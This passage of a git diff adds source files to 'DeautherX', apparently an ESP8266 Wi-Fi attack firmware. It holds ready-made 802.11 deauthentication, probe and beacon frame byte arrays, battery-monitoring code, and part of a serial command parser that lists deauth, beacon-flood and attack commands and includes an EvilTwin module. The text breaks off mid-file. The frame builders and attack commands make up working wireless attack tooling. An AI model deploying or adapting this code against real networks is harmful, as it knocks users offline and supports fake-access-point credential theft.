+ int8_t tmpID = -1; + + uint16_t packetSize = 0; + uint32_t attackTime = 0; // for counting how many packets per second + uint32_t attackStartTime = 0; + uint32_t timeout = 0; + + // random mac address for making the beacon packets + uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 }; + + uint8_t deauthPacket[26] = { + /* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate) + /* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that) + /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target) + /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap) + /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap) + /* 22 - 23 */ 0x00, 0x00, // fragment & squence number + /* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason) + }; + + uint8_t probePacket[68] = { + /* 0 - 1 */ 0x40, 0x00, // Type: Probe Request + /* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds + /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast + /* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC + /* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast + /* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK) + /* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 + /* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + /* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8 + /* 60 */ 0x82, // 1(B) + /* 61 */ 0x84, // 2(B) + /* 62 */ 0x8b, // 5.5(B) + /* 63 */ 0x96, // 11(B) + /* 64 */ 0x24, // 18 + /* 65 */ 0x30, // 24 + /* 66 */ 0x48, // 36 + /* 67 */ 0x6c // 54 + }; + + uint8_t beaconPacket[109] = { + /* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame + /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast + /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source + /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source + + // Fixed parameters + /* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK) + /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp + /* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s + /* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation + + // Tagged parameters + + // SSID parameters + /* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 + /* 38 - 69 */ 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, // SSID + + // Supported Rates + /* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8 + /* 72 */ 0x82, // 1(B) + /* 73 */ 0x84, // 2(B) + /* 74 */ 0x8b, // 5.5(B) + /* 75 */ 0x96, // 11(B) + /* 76 */ 0x24, // 18 + /* 77 */ 0x30, // 24 + /* 78 */ 0x48, // 36 + /* 79 */ 0x6c, // 54 + + // Current Channel + /* 80 - 81 */ 0x03, 0x01, // Channel set, length + /* 82 */ 0x01, // Current Channel + + // RSN information + /* 83 - 84 */ 0x30, 0x18, + /* 85 - 86 */ 0x01, 0x00, + /* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02, + /* 91 - 92 */ 0x02, 0x00, + /* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/ + /* 101 - 102 */ 0x01, 0x00, + /* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02, + /* 107 - 108 */ 0x00, 0x00 + }; +}; \ No newline at end of file diff --git a/DeautherX/BatteryManagement.cpp b/DeautherX/BatteryManagement.cpp new file mode 100644 index 0000000..32455bc --- /dev/null +++ b/DeautherX/BatteryManagement.cpp @@ -0,0 +1,47 @@ +#include "BatteryManagement.h" + +float BatteryManagement::mapfloat(float x, float in_min, float in_max, float out_min, float out_max) +{ + return (x - in_min) * (out_max - out_min) / (in_max - in_min) + out_min; +} +int BatteryManagement::getBatteryPercentage5V(){ + sensorValue = analogRead(analogInPin); + float voltage = (((sensorValue * 3.3) / 1024) * 2 + calibration); //multiply by two as voltage divider network is 100K & 100K Resistor + + if (millis() - lastMillisBatt >= 1 * 1000){ + bat_percentage = mapfloat(voltage, 2.8, 4.2, 0, 100); + pureVolt = bat_percentage; + lastMillisBatt = millis(); + } + + if (bat_percentage>= 100) + { + bat_percentage = 100; + } + if (bat_percentage<= 0) + { + bat_percentage = 1; + } + + return (int)bat_percentage; +} + +int BatteryManagement::getBatteryPercentage(int max){ + float tmpPwr = getBatteryPercentage5V(); + + // Scale the percentage relative to the maximum value of 67 + tmpPwr = (tmpPwr / max) * 100; + + // Ensure tmpPwr is within the valid range + if (tmpPwr > 100){ + tmpPwr = 100; + } else if (tmpPwr < 0){ + tmpPwr = 0; + } + + return (int)tmpPwr; +} + +bool BatteryManagement::isChargingMode(){ + return false; +} \ No newline at end of file diff --git a/DeautherX/BatteryManagement.h b/DeautherX/BatteryManagement.h new file mode 100644 index 0000000..ebf46af --- /dev/null +++ b/DeautherX/BatteryManagement.h @@ -0,0 +1,22 @@ +#pragma once + +#include + +class BatteryManagement { + public: + float pureVolt = 0; + + int getBatteryPercentage5V(); + int getBatteryPercentage(int max); + bool isChargingMode(); + + private: + int analogInPin = A0; + int sensorValue; + float calibration; + int lastMillisBatt = 0; + float bat_percentage = 65; + + float mapfloat(float x, float in_min, float in_max, float out_min, float out_max); + +}; \ No newline at end of file diff --git a/DeautherX/CLI.cpp b/DeautherX/CLI.cpp new file mode 100644 index 0000000..59133ea --- /dev/null +++ b/DeautherX/CLI.cpp @@ -0,0 +1,1339 @@ +/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */ + +#include "CLI.h" + +#include +#include "settings.h" +#include "wifi.h" + +#include "EvilTwin.h" + +/* + Shitty code used less resources so I will keep this clusterfuck as it is, + but if you're interested I made a library for this: github.com/spacehuhn/SimpleCLI + */ + +CLI::CLI() { + list = new SimpleList; + queue = new SimpleList; +} + +CLI::~CLI() {} + +void CLI::load() { + String defaultValue = str(CLI_DEFAULT_AUTOSTART); + + checkFile(execPath, defaultValue); + execFile(execPath); +} + +void CLI::load(String filepath) { + execPath = filepath; + load(); +} + +void CLI::enable() { + enabled = true; + prntln(CLI_SERIAL_ENABLED); +} + +void CLI::disable() { + enabled = true; + prntln(CLI_SERIAL_DISABLED); +} + +void CLI::update() { + // when serial available, read input + if (Serial.available() > 0) { + String input = Serial.readStringUntil('\n'); + exec(input); + } + + // when queue is not empty, delay is off and no scan is active, run it + else if ((queue->size() > 0) && !delayed && !scan.isScanning() && !attack.isRunning()) { + String s = queue->shift(); + exec(s); + } +} + +void CLI::stop() { + queue->clear(); + prntln(CLI_STOPPED_SCRIPT); +} + +void CLI::enableDelay(uint32_t delayTime) { + delayed = true; + this->delayTime = delayTime; + delayStartTime = millis(); +} + +void CLI::exec(String input) { + // quick exit when input is empty + if (input.length() == 0) return; + + // check delay + if (delayed && (millis() - delayStartTime > delayTime)) { + delayed = false; + prntln(CLI_RESUMED); + } + + // when delay is on, add it to queue, else run it + if (delayed) { + queue->add(input); + } else { + runLine(input); + } +} + +void CLI::execFile(String path) { + String input; + + if (readFile(path, input)) { + String tmpLine; + char tmpChar; + + input += '\n'; + + while (!queue->isEmpty()) { + input += queue->shift(); + input += '\n'; + } + + for (int i = 0; i < input.length(); i++) { + tmpChar = input.charAt(i); + + if (tmpChar == '\n') { + queue->add(tmpLine); + tmpLine = String(); + } else { + tmpLine += tmpChar; + } + } + + queue->add(tmpLine); + } +} + +void CLI::error(String message) { + prnt(CLI_ERROR); + prntln(message); +} + +void CLI::parameterError(String parameter) { + prnt(CLI_ERROR_PARAMETER); + prnt(parameter); + prntln(DOUBLEQUOTES); +} + +bool CLI::isInt(String str) { + if (eqls(str, STR_TRUE) || eqls(str, STR_FALSE)) return true; + + for (uint32_t i = 0; i < str.length(); i++) + if (!isDigit(str.charAt(i))) return false; + + return true; +} + +int CLI::toInt(String str) { + if (eqls(str, STR_TRUE)) return 1; + else if (eqls(str, STR_FALSE)) return 0; + else return str.toInt(); +} + +uint32_t CLI::getTime(String time) { + int value = time.toInt(); + + if (value < 0) value = -value; + + if (time.substring(time.length() - 1).equalsIgnoreCase(String(S))) value *= 1000; + else if (time.substring(time.length() - 3).equalsIgnoreCase(str(STR_MIN)) || + (time.charAt(time.length() - 1) == M)) value *= 60000; + return value; +} + +bool CLI::eqlsCMD(int i, const char* keyword) { + return eqls(list->get(i).c_str(), keyword); +} + +void CLI::runLine(String input) { + String tmp; + + for (int i = 0; i < input.length(); i++) { + // when 2 semicolons in a row without a backslash escaping the first + if ((input.charAt(i) == SEMICOLON) && (input.charAt(i + 1) == SEMICOLON) && + (input.charAt(i - 1) != BACKSLASH)) { + runCommand(tmp); + tmp = String(); + i++; + } else { + tmp += input.charAt(i); + } + } + + tmp.replace(BACKSLASH + SEMICOLON + SEMICOLON, SEMICOLON + SEMICOLON); + + if (tmp.length() > 0) runCommand(tmp); +} + +void CLI::runCommand(String input) { + input.replace(String(NEWLINE), String()); + input.replace(String(CARRIAGERETURN), String()); + + list->clear(); + + // parse/split input in list + String tmp; + bool withinQuotes = false; + bool escaped = false; + char c; + + for (uint32_t i = 0; i < input.length() && i < 512; i++) { + c = input.charAt(i); + + // when char is an unescaped + if (!escaped && (c == BACKSLASH)) { + escaped = true; + } + + // (when char is a unescaped space AND it's not within quotes) OR char is \r or \n + else if (((c == SPACE) && !escaped && !withinQuotes) || (c == CARRIAGERETURN) || (c == NEWLINE)) { + // when tmp string isn't empty, add it to the list + if (tmp.length() > 0) { + list->add(tmp); + tmp = String(); // reset tmp string + } + } + + // when char is an unescaped " + else if ((c == DOUBLEQUOTES) && !escaped) { + // update wheter or not the following chars are within quotes or not + withinQuotes = !withinQuotes; + + if ((tmp.length() == 0) && !withinQuotes) tmp += SPACE; // when exiting quotes and tmp string is empty, add + // a space + } + + // add character to tmp string + else { + tmp += c; + escaped = false; + } + } + + // add string if something is left from the loop above + if (tmp.length() > 0) list->add(tmp); + + // stop when input is empty/invalid + if (list->size() == 0) return; + + // print comments + if (list->get(0) == str(CLI_COMMENT)) { + prntln(input); + return; + } + + if (settings::getCLISettings().serial_echo) { + // print command + prnt(CLI_INPUT_PREFIX); + prntln(input); + } + + if (list->size() == 0) return; + + // ===== HELP ===== // + if (eqlsCMD(0, CLI_HELP)) { + prntln(CLI_HELP_HEADER); + + prntln(CLI_HELP_HELP); + prntln(CLI_HELP_SCAN); + prntln(CLI_HELP_SHOW); + prntln(CLI_HELP_SELECT); + prntln(CLI_HELP_DESELECT); + prntln(CLI_HELP_SSID_A); + prntln(CLI_HELP_SSID_B); + prntln(CLI_HELP_SSID_C); + prntln(CLI_HELP_NAME_A); + prntln(CLI_HELP_NAME_B); + prntln(CLI_HELP_NAME_C); + prntln(CLI_HELP_SET_NAME); + prntln(CLI_HELP_ENABLE_RANDOM); + prntln(CLI_HELP_DISABLE_RANDOM); + prntln(CLI_HELP_LOAD); + prntln(CLI_HELP_SAVE); + prntln(CLI_HELP_REMOVE_A); + prntln(CLI_HELP_REMOVE_B); + prntln(CLI_HELP_ATTACK); + prntln(CLI_HELP_ATTACK_STATUS); + prntln(CLI_HELP_STOP); + prntln(CLI_HELP_SYSINFO); + prntln(CLI_HELP_LS); + prntln(CLI_HELP_CLEAR); + prntln(CLI_HELP_FORMAT); + prntln(CLI_HELP_PRINT); + prntln(CLI_HELP_DELETE); + prntln(CLI_HELP_REPLACE); + prntln(CLI_HELP_COPY); + prntln(CLI_HELP_RENAME); + prntln(CLI_HELP_RUN); + prntln(CLI_HELP_WRITE); + prntln(CLI_HELP_GET); + prntln(CLI_HELP_SET); + prntln(CLI_HELP_RESET); + prntln(CLI_HELP_CHICKEN); + prntln(CLI_HELP_REBOOT); + prntln(CLI_HELP_INFO); + prntln(CLI_HELP_COMMENT); + prntln(CLI_HELP_SEND_DEAUTH); + prntln(CLI_HELP_SEND_BEACON); + prntln(CLI_HELP_SEND_PROBE); + prntln(CLI_HELP_LED_A); + prntln(CLI_HELP_LED_B); + prntln(CLI_HELP_DRAW); + prntln(CLI_HELP_SCREEN_ON); + prntln(CLI_HELP_SCREEN_MODE); + + prntln(CLI_HELP_FOOTER); + } + + // ===== SCAN ===== // + // scan [] [-t